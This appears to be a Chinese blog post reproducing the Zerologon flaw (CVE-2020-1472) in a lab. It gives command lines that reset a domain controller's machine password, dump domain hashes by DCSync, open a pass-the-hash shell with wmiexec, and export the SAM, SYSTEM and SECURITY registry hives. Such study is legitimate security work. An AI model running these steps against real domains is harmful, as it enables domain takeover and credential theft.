CVE-2020-1472漏洞復現
阿新 • • 發佈：2020-09-16
摘要
2020年08月12日，Windows官方 釋出了 NetLogon 特權提升漏洞 的風險通告，該漏洞編號為 CVE-2020-1472，漏洞等級：嚴重，漏洞評分：10分
攻擊者通過NetLogon（MS-NRPC），建立與域控間易受攻擊的安全通道時，可利用此漏洞獲取域管訪問許可權。成功利用此漏洞的攻擊者可以在該網路中的裝置上執行經特殊設計的應用程式
影響版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
復現環境
域內DC
版本:Windows Server 2008 R2 64位
ip:192.168.111.130
Blosname:WIN-03OO218S5B8
攻擊機器
Macos
python3
impacket使用這個 https://github.com/SecureAuthCorp/impacket (下載後 sudo pip3 install .)
重置域內管理員密碼poc https://github.com/dirkjanm/CVE-2020-1472
恢復密碼poc https://github.com/risksense/zerologon
復現開始
首先使用POC重置管理員金鑰
python3 cve-2020-1472-exploit.py WIN-03OO218S5B8 192.168.111.130

通過 Dcsync 檢視密碼hash
secretsdump.py Mikasa.com/WIN-03OO218S5B8\[email protected] -just-dc -no-pass

通過wmiexec獲取到Shell
wmiexec.py Mikasa.com/[email protected] -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 但是我這裡不行,因為我的密碼過期了,所以強制我更新密碼(我就是忘了密碼才復現這個漏洞的),但是我們已經修改為空了,我們進入把密碼改後才能其他的就行了(這個我改為 pass@123 ntlm就是51a52c415264a8fc31520f66f2f50459) wmiexec.py Mikasa.com/[email protected] -hashes :51a52c415264a8fc31520f66f2f50459

密碼復原操作
備份登錄檔
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

使用secretsdump解析儲存在本地的nt hash

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
最後執行risksense的恢復指令碼將$MACHINE.ACC:plain_password_hex中的原來nt hash恢復
python3 reinstall_original_pw.py WIN-03OO218S5B8 192.168.111.130 9c17abbf4129364354dbdb0109be6fbfa01164a8c5e96703c78821ef1b95da8be766de10c84d99b591488cce5c2b18465d43ada98e3178d99553a66a1a0e983f6954cfd1b6fe9044ea8cb0ffac81dacd135d3b289cc001adc8b9fc54e1f4aa89d8bfc23a9dd8f59662cf81e5d1adf7b37f457729f6f444f58b5d715bbbdcae81e270b27cefc8c3193ef808b70fceb66261c968d71689d3ac2f3af6f18bd43b46faa1160eabacddbcd0c6d50e81548ccdecde2748e178dcaa13c0abc93bcb3e8ea1859aabb0a0be213b52c2bcf8350ba5d792ecbae99cf6b6170a0cbb4d5fd99eee09490c6cb7b5b5db409aa0b92a5a29

復現完成!
思考
這個漏洞的影響確實很大,只需要與域控建立TCP連線即可拿下域控(有當初永恆之藍那味了)
參考連結
https://www.cnblogs.com/goabout2/p/13676527.html